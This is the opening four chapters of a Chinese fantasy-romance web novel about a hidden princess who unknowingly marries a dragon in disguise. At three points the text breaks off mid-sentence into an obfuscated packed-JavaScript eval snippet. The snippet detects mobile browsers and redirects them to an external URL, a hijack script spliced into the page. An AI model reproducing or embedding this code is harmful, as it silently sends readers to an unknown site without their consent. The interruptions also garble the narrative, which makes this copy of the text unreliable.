《被业龙夫君豢养后》 1. 新婚七日 愈苍山一带常下骤雨。 入夜,狂风大作,院门处的竹篱轰然倾塌。 男人仰面倒在地上,一道闪电划破长空,恰到好处地映亮了倒地之人的脸。 大雨如豆,一滴一滴砸在那棱角分明的脸上,闪电将他面容照得凄白,看上去就像惊涛骇浪下无处躲避的莲花,显得脆弱又无助。 这人还有几分少年模样,漆黑如墨的眼睛被雨淋得湿漉漉的,用祈求的眼神望着身前的女子,似乎锁住了唯一的救命稻草。 看上去可怜极了。 女子顿生怜悯。 隆隆的雷声由远及近,李锦闻感觉周身一阵黏湿。入了夏,天气愈发潮热,她从梦中醒来,不耐地推了推覆在身上的人。 “娘子……” 男人的声音和他的吻一样,黏黏糊糊的,试图引诱她再次坠入梦乡。 李锦闻却没上当。她眨着眼,望向窗外,雨还在下,哗啦啦打在窗外的竹林中,听得人心里些清透许多,全然清醒过来后,李锦闻抓住作乱的人,轻声说: “白九,我做梦了。” 白九嗓音醇厚,带着点旖旎的哑,顺着她的话,在她耳边低声问:“娘子做了什么梦?” “梦见我捡到你那晚的情景了。” 是了,白九是李锦闻一个月前在大雨中捡回来的。 彼时他发着高热,一个人倒在门口,甚至压塌了她家的篱笆。李锦闻怕这个男人死在她家门口,才将他拖进家门。 绝对不是因为看他长得好才救他的。 白九和她一样,父母都不在了,从家里跑出来,无处可去。只不过,他比她还要惨一些,李锦闻至少还有阿姐一个亲人,白九却孑然一身。 李锦闻当日观他容貌卓然,就留下了这个无家可归的可怜郎君。 “我就在你眼前啊,娘子何必去梦里见我?” 白九亲昵地蹭着她的脖颈,每次他这样做,李锦闻都会想到院里养的那只大黄猫。他说话时,语气里透着一股极其单纯的认真。 若是这句话从其他什么人嘴里说出来,定叫人觉得对方是在调情。可白九说出这句话,李锦闻就觉得他真是这样想的。 这个人就好像一张白纸,简单明了。李锦闻说什么,他就信什么。 她就喜欢他这一点。 于是李锦闻哄骗着他,给她做了夫婿。 李锦闻躲开凑上来的唇,故意笑着逗他:“梦里的你,可比现在招人疼。” 白九闻言,眼睛里蓄上显而易见的委屈,他退开一点,问:“你后悔和我成亲了吗?” 这都哪里跟哪里的话? 李锦闻脸色空白了一瞬。 她虽不明白他为何忽然会这样想,但还是赶紧哄他:“怎么会呢?夫君既能干又漂亮,我喜欢还来不及呢,如何能后悔?” 白九看着是放下心了,李锦闻转而又道:“只是以后可不容你这般胡闹了。” 她一边说着,抬起手来,白皙的手臂上挂满了暧.昧的红.痕,身上其他地方的境况也就可想而知了。 这是她和白九成婚的第七日,新婚燕尔,浓情蜜意。白九身强体壮,精力实在旺盛,李锦闻初尝情.爱滋味,也新鲜得很,自是夜夜春宵。 说实话,李锦闻很满意她的夫君,只是夫君有些时候也太缠人了些。 这几日的疯狂暂可以归咎于刚成婚的新鲜劲儿没过,若是日后再这般不顾一切,她恐怕要吃不消。 “我明日就要去书院了,你要听我的,子夜之后不许再招惹我,不然你就去睡厢房。” 李锦闻如今在愈苍书院教书,这几日正逢五月农忙,整个书院十五日不必上课,学生放田假,帮家里务农。 她家没有置办田地,且来时本就带着其他积蓄,不靠务农糊口。李锦闻就和白九挑这个时间成了婚。 明日书院就要上课了,李锦闻需早早去坐堂,自然不能同这几日一般,睡到日上三竿。 独守空房的威力确实很大,白九连连点头,应着他新婚娘子的话,又很机灵地转移话题,笑道:“娘子若还困,就再睡一会儿。我去给你做饭!” “嗯。” 李锦闻浅浅应声,却不准备继续睡下去了。白九已经开始穿衣,她趴在床上,歪头瞧着他。 他的身形很优美,宽肩窄腰,肌肉线条只有在绷着劲儿的时候才分外明显。 白九动作很快,穿好衣服,便翻身下床,开始收拾寝屋。 他把昨夜没来得及扔的水倒掉,又将地上的脏衣服一件一件捡进竹筐里,等天晴后便可以直接洗。 他给每个物件安排好专属的区域,李锦闻习惯乱放东西,他每日就将它们归置到该有的位置。 这样,娘子就不会找不见东西。 他来到这个家之后,家里再也没有像从前一样乱过了。 李锦闻慢条斯理地翻了个身,忽觉背部触感奇异,似乎有什么东西硌着她。 她撑起身子,赫然发现身下床铺上躺着一只半透明的片状物,有拳头那么大。 似乎……是一只鳞片。 李锦闻没见过这么大的鳞片,有些怀疑地捏起来,举到眼前查看。 她转了个角度,鳞片上显现出蓝紫色的浮光。 “还挺漂亮。” 白九闻言,转头看过来,神色一僵。 坏了! 许是昨夜太愉悦,一不小心蜕鳞了! 他赶忙走到床边,道:“扎到娘子了是吗?” 李锦闻转头看向他,手中依旧举着那只龙鳞,笑道:“无妨。这是什么鱼的鳞片?” 白九含糊其辞:“我也不知,前两日在河滩上捡的,看着稀奇,就带回来了。许是收到衣袋里给忘了,才掉出来。” 说着,他朝她伸出手,要接那鳞片。 李锦闻了然地点了点头,递给他,随口说了句:“应当是很大的鱼吧。” 白九笑了笑,收起那扎眼的鳞片,赶紧问她:“娘子想吃鱼了吗?家里正好还有一条,清蒸还是红烧?” “清蒸吧。”李锦闻成功叫他转移了注意力。 白九得到答复,忙逃出寝屋。 身为一条龙,想要伪装成人,实在不容易。 龙族会在受到刺激时蜕鳞,昨夜他仗着娘子纵容,床笫之间放肆了一回,自然身心荡漾,没想到竟将鳞片掉在了床上,差点叫娘子发现端倪。 以后还是得注意着些,白九暗暗提醒自己。 李锦闻收拾妥当,从寝屋出来时,白九恰好准备完午膳。 “给阿婆送过去了吗?”李锦闻瞧了一眼外头的雨幕,问。 白九拉着她坐下,道:“送去了,阿婆很高兴。” 李锦闻莞尔一笑,没忍住摸了摸他的头。 夫君比较单纯,平日里和她说话时尤为明显,偶见几分孩子气。 稚气未脱,挺好的。李锦闻喜欢没心机的,好哄。 “那便好,以后我去书院,你在家中多照应着阿婆些。阿婆那里虽然事情不多,但她眼睛不好,总归是需要帮助的。” 李锦闻口中的阿婆,并非她的血亲。 半年前,李锦闻和阿姐刚到愈苍山下,恰好碰上一伙小贼,企图杀人越货,霸占眼盲老妪的家产。 阿姐武功高强,替老妪赶走了小贼,老妪为表感谢,便将自家空出来的房子过户给了姐妹二人。 眼盲老妪无儿无女,姐妹二人本打算给老妪钱财,就当是买下这座宅子。但老妪不愿收,甚至还要将自己多年积蓄赠予她们。 姐妹二人就在此安家,平日里照顾阿婆,对外就说是阿婆娘家的晚辈。 白九给她盛了一碗汤,又细心地将鱼刺调出来,递到她眼前。 李锦闻吃东西很斯文,小口小口的,她做任何事情似乎都有一种慢条斯理的秩序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468840|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感,一看就是不急不躁的性格。 李锦闻生得很漂亮,是那种端正大气却不失明艳的美。她看人时,一双水眸盈盈,如蓄春水,平添几分灵动。 白九喜欢看她。 “不要看我啦,快吃饭。” 李锦闻好似头顶上长眼一般,注意到他发痴的目光,放下筷子,提醒对面的男人。 “娘子真好看。”白九自顾自道。 “嗯,你也好看。” 李锦闻知道他又沉浸在自己的心思里了,这种时候只需要顺着他的话,反过去夸他一句,便能令他回过神来,陷入另一种欢快的心情里。 白九终于将目光挪开,一脸怀春地开始吃饭。 娘子又夸他了。 白九觉得,他至今为止,做得最正确的事,就是在那场大雨里将自己的脸干干净净展露在李锦闻面前。 若非这张脸管用,娘子也不会看上他,自己如今也不可能登堂入室。 外头的雨逐渐变小,已经有了停歇的意思。 不过雨连下了好几日,乡间的小路泥泞湿滑,就算是雨停了,想出门定然是不好说的。 李锦闻吃饱了,就望着门外淅淅沥沥的雨出神。 白九敏锐地察觉到她的失望,抬起头,关切道:“娘子怎么了?” 李锦闻叹了一口气:“余先生本来说今日去镇上喝茶,可惜连日下雨,去不成了。” 白九闻言,警惕地放下筷子,问:“余先生?” “书院里一同教书的先生,他说镇上有一家茶馆的茶点不错,想一起去尝尝。” “哦。”白九重新拿起筷子,戳了戳碗里的鱼,却没继续吃。 李锦闻有些遗憾:“罢了,明日再同他赔礼吧。” 白九没说话,李锦闻察觉他忽然安静了,转眸看向他。 “你怎么不吃了?”她见他碗里的鱼肉都快被戳碎了,问道。 “我吃饱了。”他低声说。 “你才动了几口?怎么会吃饱了?” 李锦闻不信,这人从开饭到现在,除了看她就是在戳着玩儿,中间不过吃了两三口。更何况,相处一个月,她哪里不知他的饭量,吃这一点连垫都垫不住。 白九抬眸瞅了她一眼,李锦闻看见他眼里一闪而过的幽怨。 李锦闻:“你不高兴了?” 白九语气带酸:“孤男寡女一起喝茶么?” 李锦闻并非不解风情之人,听他这样说,瞬间明白了他的意思。 她浅浅笑了一笑,故意打岔,曲解他: “什么寡女?我可是新婚,咒我呢?还是咒你自己?” 白九听见“新婚”二字,没忍住勾起唇角。 “当然不是——” 他抬起头来,迎上李锦闻含笑的眼睛,声音低了一个调,“娘子饱读诗书,怎会不知孤男寡女不是这么解的。” “吃醋了?” 白九低着头,不言语。 李锦闻轻笑一声,解释:“余先生过两日就要离开愈苍山了,他是个很正派的学究,书院里的诸位先生都很敬佩他,想给他送别。我方才没说清楚,我们一行人都去,不是只有两个人。” 白九听了她认真的解释,抬起头,歉然道:“对不起,娘子。” “白九,”李锦闻肃了脸色,很郑重地同他讲,“不高兴要同我讲呀,吃醋了也要说。不然我怎么知道呢?” “我可以侥幸猜出一次来,但未必猜得出下次。若是你我之间总有事说不清,误会就越来越多,从而产生隔阂。” “夫妻之间最怕隔阂,渐渐的,就同床异梦了。” 眼见对方蹙起眉,李锦闻趁热打铁:“你也不想和我变成那样吧?” —————— 人族讲究坦诚,想增加人族的好感,一定要真诚。但切记,不可让对方发现你是龙族。 ——《人族豢养手册》 2. 龙和山君 “同床异梦是什么意思?” 眼见白九神情严肃,李锦闻心道自己动之以情晓之以理的一番话说动了他,正暗自欣慰,却等来了这么一个问题。 李锦闻:“……” 她和阿姐年幼时虽被囚在宫中,但身边有一个学问很高的女官,教了她们二十来年,所以李锦闻自己饱读诗书。 可白九跟她相反,他读书少,只认得几个字,仅仅算是不至于睁眼瞎的程度。 相处了几日,李锦闻有时候觉得白九不只是没读过书的问题了。 他似乎在某些方面存在认知上的偏差,以至于交谈时出现明显的用词错误。 李锦闻还记得,她当初问他为何叫“白九”时,他回答: “我出生时是白色的,又是族中第九辈,所以就叫白九了。” 李锦闻当时听了这个解释,又自行理解了好半天。 “……你出生时长得很白,是吗?”她看着眼前青年人白皙的侧脸,试探着确认。 白九目光清澈,点了点头。 李锦闻又道:“还有……什么是第九辈?你是想说你在族中排行第九?” 白九思索一瞬,好像接受了这个说法,道:“算是吧……” 从那时开始,李锦闻就暗自下定决心,一定要尽力纠正他这混乱的说辞。 “就是夫妻二人表面和睦,实际上各怀心事,感情不和。”李锦闻解释道。 如今她已经可以从善如流地应对白九提出的各种问题。 没办法,他这夫君太可怜了。年幼失怙,父亲没教他读过几年书,便撒手人寰,母亲也随之而去。白九从小练就一身本领,除了没怎么读过书,别的都很在行。 想来也是为了把自己照顾长大,不得已而为之吧。 白九听到她的解释,连连摇头,甚至倾身握住她的手,郑重其事地回答:“不要!” “我不要和娘子变成那样!娘子要一直喜欢我!” 他生得一双桃花眼,很漂亮,看着她的时候,显得无辜又纯良,李锦闻瞧着他,不禁笑出声,催促:“行了,快吃吧,饭都凉了。” 白九心情明媚地吃了一顿午饭,外头的雨也渐渐停歇下来。 阴雨连绵的天气终于放晴,阳光穿透云层,撒下万千金辉,普照在愈苍山下每一个角落。 翌日清晨,路上的水痕已然晾干,乡间小路也不再泥泞。 李锦闻松了一口气。 从家到书院,有大约两刻钟的脚程,途中要经过一个村子,再穿过一片桑林,便可抵达愈苍书院。 村子里都铺着青石板路,一般不怕下雨天。可桑林里不大好走,地面干了,李锦闻就不必担心袍摆沾上泥点子。 白九早早起床,给她备好了早饭,又掐着时间,唤她起床。李锦闻起身时,他恰好将她要穿的衣物递上。 毕竟是在书院里教书,李锦闻常穿儒袍。青或蓝的长衫,腰间以简单的丝绦做束,头上扎一个高髻,月白发带自然垂落于身后。 白九在她身边绕来绕去,不住端详着她。成婚七日,李锦闻在家一直穿襦裙,带花簪,做寻常女子装扮。今日还是他头一回瞧见娘子扮作书生模样。 她仪态本就很好,或坐或站,腰背都挺得很直,一举一动却不刻板,显得利落又自然。 这身装束配她很合适,白九想不出什么华美的辞藻来夸赞自家娘子,只想到一句话: “娘子看上去就读过很多书,懂得很多道理!” 李锦闻对自己的气度很自信,丝毫不谦虚地接下他的赞美,还顺带补了一句:“这叫‘腹有诗书气自华’。” 白九目不转睛地盯着她,若有所思地点了点头:“我记下了,娘子。” 二人用过早饭,李锦闻便要出发去书院了。 临行前,她嘱托白九:“不要忘记给阿婆送饭,她老人家眼睛不好,你多帮她收拾着庭院。你我不能每时每刻守着她,若有不甚,把老人家绊倒可就不好了。老人家最怕摔的……” 白九神情温和,应着:“我知道啦,娘子。” 李锦闻走出去两步,又转身交代:“还有,别忘记喂猫,还有小狐狸。猫儿嘴馋,防着它别自个儿进了厨房。小狐狸挑嘴儿,鸟蛋得给它打进碗里,不然它不吃的。也不要喂它鼠类,它不吃——” “好——”白九面上依旧温良,上前几步,走到她身前,缓声道:“我专门给它打——兔、子。” “倒也不必如此费力,它自己会跑到山上捕猎。”李锦闻还在想狐狸和大黄猫的事,没注意白九的脸色已经有些嗔怨了。 她思量着没有其他要嘱咐的了,便转身打算出门。 “娘子!” 白九忽然叫住她。 李锦闻回头,疑惑不解,等着他的下文。 “你没有什么要嘱咐我的吗?”白九眼巴巴地望着她。 李锦闻没明白他的意思:“不是已经嘱咐好了?” “你说的都是家中之事,是别人。”白九眼含幽怨,“不是我。” 李锦闻明白了,折回去,踮起脚尖,勾住他的脖子,仰头亲了亲他的唇角。 蜻蜓点水,一触即分,却还是哄住了他。 白九眨了眨呆愣的眼睛,才看清眼前人的面容。身后是朝气蓬勃的太阳,明亮的朝晖给她镀了一层金黄的光芒,温暖,明媚。 李锦闻笑着嘱咐他:“我下午申正时分便可到家,你不用急着做晚饭。期间若是觉得闷了,可以出去逛一逛。家里缺什么,尽管添置,我给你留了银子,就放在床榻下第二层的抽屉里。” 白九还在回味那个吻。 他们成婚不过七日,再亲密的事也做过了,甚至称得上如胶似漆。但……似乎都是他纠缠娘子的,娘子顶多是顺势而为,这样主动的亲吻,还是第一次。 他茫然地点头应着她的话,也不知道听进去几个字。李锦闻交代完,转身离家了。 若是再拖下去,恐怕要误了时辰。 白九站在门口,遥遥地望了她很久。 娘子的身影消失在转角处,白九上扬的唇角便放了下来。 才刚不见影儿,就已经开始想人了。 他独自回了堂屋,收拾干净方才用过的碗筷,才舀了一碗粥,盛了一碟子肉,用托盘端着,进了隔壁院子。 说是隔壁,其实如今已经算是一家了。李锦闻和阿姐落脚此处的时候,两处院子虽都是阿婆的,但中间隔了一道篱笆,本来是为了日后租出去的。后来,她们买下宅子,日日照料阿婆,姐姐便把篱笆拆了,两边合了院子,方便来往进出。 不过阿婆很少往她们这边来,多是李锦闻和阿姐到隔壁去。如今,是白九日日进出。 阿婆住的院子偏小,主屋只有两间房,外加东边一个厢房,用来存放杂物。 白九进屋后,将托盘放在堂屋的小桌上。 “阿婆,吃饭了。” 虽然还保留着礼貌的称呼,但他的声音并没有起伏,早没了在娘子跟前的乖巧和气。 里屋的门帘晃了晃,走出个拄拐的鹤发老婆婆。 老婆婆一边摸索着往桌边走,一边问:“阿锦呢?去书院了吗?” 白九还算维持着一点耐心,回答:“娘子估摸着已经到书院门口了。” 他的态度与前几日李锦闻在时,截然不同。他全程冷眼旁观老婆婆摸索着前行,没有要搀扶的意思。 老婆婆走到桌边,坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468841|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白九:“您也不必装瞎了,怪累的。” 老婆婆没反应。 白九伸出手,在她眼前晃了晃。 “你不必试探,我老婆子是真瞎。” 她说话的声音很硬,将拐杖倚放在桌边。 白九冷哼:“眼睛是瞎,又不是看不见。” 他往前凑了凑,低声道出对方身份:“山君。” “灵族若是只依靠一双眼睛视物,早死八百回了。” 三界之中,一切生出人智的生灵,可统称为灵族。灵族之中,可以变换形态的,称为妖族。 灵族六感灵敏,可以依靠感应,在头脑中复现周围一切事物的情景。所以,即便目盲,白九眼前这位虎妖也能正常“看见”。 “装了这么多天,阿锦一走,就装不下去了?”山君眼睛无神,空洞地落在他身上,像极了山中无底的石窟窿。 “反正老身命不久矣了,你若要对我不利,我反抗不了,随你——” 白九倏然打断,问道:“你为何接近她?” “老身乐意!你能来,偏不准旁人来么?再说,这本来也是我的家!” 白九对她这套充耳不闻,只追问:“无缘无故的,你一个虎妖赖在凡人身边,谁信你能有什么好心思!” 老婆婆冷笑一声,讽刺他:“呵,你以为百妖都如你们龙族一般,好色善淫?老身是真喜欢那姑娘,如今天人五衰,想留在她身边罢了。” 其实山君所言不虚,她得道很晚,化为人形时,就已经很大年纪了,只能变成一个老婆婆。 如今,她寿数将尽,遇到了李锦闻,却莫名发现待在这姑娘身边很安心,甚至可以减轻天人五衰带来的疼痛,索性就将李锦闻姊妹二人收留在家。 白九狐疑地看了她半晌,“切”了一声,回敬:“我也真喜欢我娘子。” 老婆婆没应声,拿起筷子,她见盘子里放了不少肉,面向白九,似乎是用看不见的眼睛白了他一下。 “吃吧,没毒。”白九自顾自转身,开始收拾屋子。 阿婆语气软了些,听上去慈祥多了:“我们虎族长在山里,你们生在水中,本来就是风马牛不相及的两个族类。此后你过你的日子,我养我的老,咱们井水不犯河水。” “我们龙族不是好色善淫。”白九忽然道。 阿婆看不见他脸上怪异的神色,只当他是怕自己在李锦闻面前乱说,道:“把心放回肚子里去,老身才不会到阿锦面前自讨没趣。她如今新婚燕尔,喜欢你喜欢的紧,未必听得了你的坏话。” 白九爱听后半句,弯了弯唇角,道:“那是自然。” 他只管收拾,屋里很快整洁了,他又拿着扫帚扫庭院去了。 连日阴雨,院子里被风吹的,被雨砸的,一团混乱,白九手脚麻利,没过多久便忙完了。 阿婆正好吃完饭,坐在屋子门口晒太阳。 白九将她的碗筷收了,忽然开口:“我对她好,一心一意。所以必须确认你对她没有坏心。” 他洗好碗,擦干,又提醒道:“伪装好点,不然娘子白关心你了。” 话毕,不等老太太说话,他便回了自家院子,径直走向墙角的狐狸窝。 家里还有一个灵族没警告过呢。 狐狸在窝里上蹿下跳,它今早一睁眼,就发现自己好像被锁在窝里了。 “狡猾的狐狸,忍你好几日了。” 眼见白九黑着脸过来,狐狸一阵心慌,一双狭长的狐狸眼乱眨,看起来和狡猾二字一点不沾边。 —————— 龙族与人族相爱,一生只能绑定一个伴侣,伴侣离开,则会疯癫而亡。 ——《人族豢养手册》 3. 龙骨止灾 “今年二月,京中大乱。三月新帝登基,朝中一片动荡,不少前朝重臣罢官免爵,甚至下狱问斩。如今京中人心惶惶,余先生不如再观望一段时日,待局势稳定再进京也可啊!” 愈苍书院里,学生们得知余先生要离开,一大清早便聚在一起劝说。 余先生听一学生如此说,语气温厚,回道:“二月里,因京城动乱,省试未能如期举行。如今京中已经止了兵刃,新帝下令将省试延迟到六月中旬,且扩大招录人数。我还是打算进京试一试。” 另一个学生义愤填膺,列举新帝的罪行: “可是先生,坊间传闻,如今这位新帝,为君不仁。先帝驾崩之际,他杀了思文太子,篡权继位,夺的是自己兄长的皇位啊!登临大统之后,他又在朝中大杀特杀,搞得人人自危,如此不义之君,先生怎可效忠于他?” “子明,不得妄议君主!” 余先生出声制止,道,“正因百姓对新帝颇有微词,我等才需投身政事,以振朝纲!身为臣子,寒窗数载,不是为了效忠某个君主,而是为百姓谋福祉。若君主不仁,则朝臣当以直言相谏,规劝君主。我如今进京,正是为天下计。” 唤作子明的学生还欲再劝,另一学生拉住他,道:“十八年前,厉太子祸于谋反,后先帝践祚,也得良臣辅佐,励精图治,国祚昌荣。愈苍山一带与京城相去甚远,所谓新帝之事,尚不知真假,但总不能因些流言蜚语便不走仕途。” 这学生说得委婉,因为厉太子当年谋反,被其父成帝所诛,其实是当时身为赵王的先帝嫁祸所致。 厉太子死后,赵王坐收渔翁之利,立刻继位,个中内情,天下人心知肚明。 而李锦闻,就是厉太子的孙女。 当年,厉太子获罪被诛,其独女李淳年及其夫婿受牵连被斩首,留下年方十岁的李舜齐和四岁的李锦闻姐妹二人。 赵王继位,是为昭帝,也就是几个月前驾崩的先帝。 昭帝留了姐妹二人的性命,将李舜齐和李锦闻囚在深宫之中,为了避免天下人指摘,给予供养,却不予自由。 这一囚,就是十八年。 三个月前,昭帝病危,其二子骨肉相残,延续了昭帝与厉太子同室操戈的悲剧。 李舜齐和李锦闻趁乱逃出皇宫,一路出京,来到了愈苍山避难。 子明语气稍缓:“先帝确实是明君,此事无可挑剔。可先帝继位之时并未大开杀戒,这新帝圣心难测,伴君如伴虎,余先生此去还是要小心为上。” 余先生正欲开口,身后一道清丽的女声打破了紧张的谈话:“余先生今日就要走了么?不是说还要再等几日?” 众人回头,学生们纷纷行礼,唤:“李先生。” 李锦闻躬身回半礼,听见余先生回答:“如今刚进五月,我今日出发,快马加鞭,半个月便可抵达京城,还能歇一歇脚,恰好能赶上六月的省试。” 李锦闻点了点头,表示理解,又道:“昨日雨大,在下未能赴约,没想到错过了饯行,实在抱歉。” “无碍,左右我今日才启程,特向李先生告别。” 余先生名敬山,已是而立之年。四年前中了举人,本打算参加三年前的省试。然天有不测风云,余母过世,应试一事也就此耽搁下来。 寒窗数载,如今好不容易有机会博取功名,任谁也不会因为朝中政变而放弃。 李锦闻笑道:“余先生方才一席话,连我都听得热血沸腾。朝廷能得先生这般人才,也是我大乾之福。” 她的神情逐渐严肃:“只是,如子明所言,余兄此去定要小心谨慎。” 书院中另一位姓张的先生,在旁听了很久,终于开口提醒:“诸位慎言。先帝已然仙逝,盖棺定论,谥号为昭,切切实实为百姓鞠躬尽瘁。学子们读书,哪个不是为了将来入仕,既然要入仕,便不好妄议朝政,这为官之道,多说一句闲话,恐怕就是十余年的沉浮不定了。” 李锦闻垂眸。昭帝当年陷害了她的祖父,她对昭帝有私仇家恨。但昭帝治国有方,这一生带来的天下安乐也确有其实。 确实是位明君。 不过,刚即位的这位么…… 她在宫中时,也并非对外界之事全然不知,这位新帝,还真不是个好的。 想是这样想,她如今隐姓埋名,无论对皇位上的人有什么看法,都不能表现出来。 于是李锦闻一笑,附和:“张先生所言极是,这为官之道,自然是无人比张兄精进。” 众人又聊了几句,余敬山便要出发了,李锦闻借步出门,拿出一枚玉珏来,递出去,肃然道: “京中凶险,新帝心性到底不好。余兄他日若遇危难,可执此玉珏,求见京城陆氏二房三公子,陆承真。只要大乾国运尚在,陆氏就不会倒,紧要关头,也可保余兄一命。” 余敬山讶然看向她。 本朝开国君主,乃是一女帝。后来大乾朝又出过两名女帝,是以民风开放,女子可参政,亦可活动于各行各业。 虽然大多书院中依旧讲究男女不同堂,但招收女先生授课,却是常有的事。 李锦闻一个多月前进愈苍书院,众人都道她家在京畿一带,出身书香门第,因家中不允入仕,才来愈苍书院教书的。 如今,她将可以直接联系京城世家陆氏的玉珏拿出来,余敬山不禁细细思量她的出身。 “这……京城陆氏,如此重要的信物,李先生当自己收好,在下不能拿。” 李锦闻莞尔:“无妨,我用不上这个。” 余敬山为难地看着她。对方能拿到此物,且将之交与他,就说明她与陆家关系匪浅,必定是大富大贵之人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468842|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可大富大贵之人,为何会在愈苍书院教书? 莫非李锦闻是因政变受到牵连的官宦子弟? 余敬山这样想着,一时拿不定主意。 如果李锦闻家中当真因政变遭难,想来她自己处境也不好,没准儿还需要用到陆家的关系保命,他就更不能收这么重要的东西了。 李锦闻似乎明白她的想法,将玉珏塞到他手中,道:“余兄不必忧心,我的事另有他解,此物您务必收下。余兄人品贵重,若能入仕,可比我有用多了!” 她玩笑的话语令余敬山放下心来,他收下了玉珏,郑重道谢,而后作别,道: “李先生也多多保重,天涯路远,愿能再聚!” 寒暄过后,书院里其余几位夫子也先后赶到,余敬山一一拜别众人,策马而去。 众人目送他离开,李锦闻身侧的女子才开口,低声道:“李先生,山长唤您,有事相告。” 李锦闻听闻此言,快步绕过前院假山流水,叩响了山长书室的门。 书室内置朴素无华,山长储清元坐于屏风后,已经煮好了茶。 “余敬山走了?” 李锦闻在储清元对面落座,道:“走了。” “山长不劝他?” 储清元:“赤诚之心拳拳,是劝不动的。” 李锦闻不再多问,直入主题:“山长,可是长姐来信了?” 储清元拿出两封信,一封递给她,道:“这是舜齐给你的家书。” 另一封则被他展开,放在桌上,李锦闻收好家书,倾身去看桌上的信。 信上只有两行字: 已寻得先祖墓,确有龙骨记载,且待进一步确认。 “龙骨?” 她疑惑出声:“又是龙骨。” “先前,我与长姐出宫时,先生曾留下一句‘龙骨止灾’的遗言,却并未交待在哪里寻得龙骨,甚至都没有明说要我们去寻龙骨。” 李锦闻将信纸引燃,看着写有机密的纸张化为灰烬,继续道: “大乾先祖曾于愈苍山发迹,功成身退后,归隐烛宁。我与长姐,如今也是走一步看一步。至于龙骨到底是什么,尚无线索。” 储清元将桌上的纸灰收拾干净,道::“你们的方向没问题。但这龙骨,若真如字面所言,那就麻烦了。” 李锦闻一向认为,眼不见则为虚,于是道: “龙骨总不可能是真龙的骨骼吧?传说,真龙身长可盘绕一整座山。这世上若当真有龙存在,我们不该早就见过真龙了?” 一阵风自窗外吹来,尚带着山间晨雾的潮湿,熄灭了烛火。储清元起身,关上窗,道: “不过,愈苍山一带倒是有一些关于几百年前水灾的传闻,还真有些真龙的影子。” 李锦闻见他神情严肃,蹙眉问道:“是何传闻?” 4. 何为情爱 “二百多年前,愈苍山一带下过一场大雨。起初,人们以为那只是年年都会如期到来的雨季,不以为然。后来,雨越下越大,暴雨连绵,到第三日的时候,雨水冲塌了山体,山洪暴发。” 李锦闻听着山长的讲述,眉头紧锁。在大乾,无人忘记过二百年前的那场洪灾。 “仅仅是一天的时间,百姓便死伤无数。洪灾的范围不断扩大,几天之内,迅速蔓延了三个州县。那时,尚为前朝的天下。君主广征能人勇夫,以求治水之法。” 这个故事广泛流传于大乾的妇孺长幼之间,因为后来出现了一个人。 李锦闻接话:“然后,从愈苍山下走出了一个治水的女子。女子组织当地百姓,疏通河道,大水汇入长河,东流向海。一年之后,水灾彻底止息。可百姓的生活受到重创,当时的君主因此被指摘惹得天怒,众人拥护治水的女统领起义,三年之后,前朝覆灭,女统领称帝,是为大乾太祖皇帝。” 故事中的女统领是李锦闻的先祖,讲述这件事时,她神情庄重,却没有半分傲然之色。 储清元:“在这个故事中,我们都忽略了一件事:最初那场暴雨,是什么时候停下的。” 李锦闻默然不语。 两百多年,不算久远,一场毁灭性巨大的天灾,其过程该是被详尽记录在史书上的。作为大乾开国皇帝一生最重大的一项功绩,治灾的所有细节,都应该被世人久久传颂。 李锦闻摇头:“大乾所有典籍里,都没有明确记载。不止是那场暴雨的停歇,甚至是水灾的发展、扩大,以及后续治理,都几乎是一笔带过。反而是太祖皇帝打天下的那三年,史传记载颇为详细。” “所以,山长,当年到底有什么传闻?” 储清元啜了一口茶,缓缓开口:“据说,那场暴雨根本不是上天降罚,而是孽龙祸世。而太祖皇帝最大的功绩,不在于治水,而是斩杀孽龙。” 李锦闻听了这一番话,一时觉得十分荒谬。 “斩杀孽龙?若太祖皇帝当真做过此事,大乾的史书里定然会记上一笔,说太祖皇帝为民除害,是天命所归。” 历朝历代的开国之君,最初都是乱臣贼子。为了证明谋反之举的正义性,史官会绞尽脑汁,为君王编撰一个近乎神化的故事,或是祥瑞降世,或是斩妖除魔,来证明新朝“正统”地位。 储清元并不反驳她,反而顺着她的意思,补充:“可史书上什么都没写,甚至刻意回避一切鬼怪妖神之说。” 李锦闻沉思半晌,回过味儿来。 “这不正常。”她道,“所有存世的典籍,甚至是人们口耳相传的故事里,都在极力褒扬太祖皇帝个人卓越的才能,以及她手下一批干将的机智忠诚。为何要刻意回避鬼怪之说呢?” “就算斩杀孽龙的传说是假的,这其中一定还有其他玄怪之事。” 储清元起身,从身后书架上取下一只木匣子,又从匣子里拿出一册古籍,递给李锦闻。 